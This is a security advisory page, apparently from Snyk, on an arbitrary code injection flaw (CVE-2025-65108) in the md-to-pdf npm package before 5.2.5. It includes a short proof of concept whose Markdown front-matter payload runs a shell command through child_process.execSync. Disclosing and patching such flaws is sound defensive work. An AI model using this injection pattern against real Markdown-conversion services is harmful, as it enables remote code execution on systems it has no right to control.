Arbitrary Code Injection Affecting md-to-pdf package, versions <5.2.5


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.29% (52nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MDTOPDF-14089788
  • published21 Nov 2025
  • disclosed20 Nov 2025
  • creditIan Raburu

Introduced: 20 Nov 2025

NewCVE-2025-65108  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade md-to-pdf to version 5.2.5 or higher.

Overview

md-to-pdf is a CLI tool for converting Markdown files to PDF.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the gray-matter library when parsing front matter containing JavaScript delimiters. An attacker can execute arbitrary code in the Markdown-to-PDF conversion process by supplying specially crafted Markdown files with malicious JavaScript in the front matter.

PoC

const { mdToPdf } = require('md-to-pdf');

var payload = '---javascript\n((require("child_process")).execSync("calc.exe"))\n---RCE';

(async () => {
    await mdToPdf({ content: payload }, { dest: './output.pdf'});
})();

References

CVSS Base Scores

version 4.0
version 3.1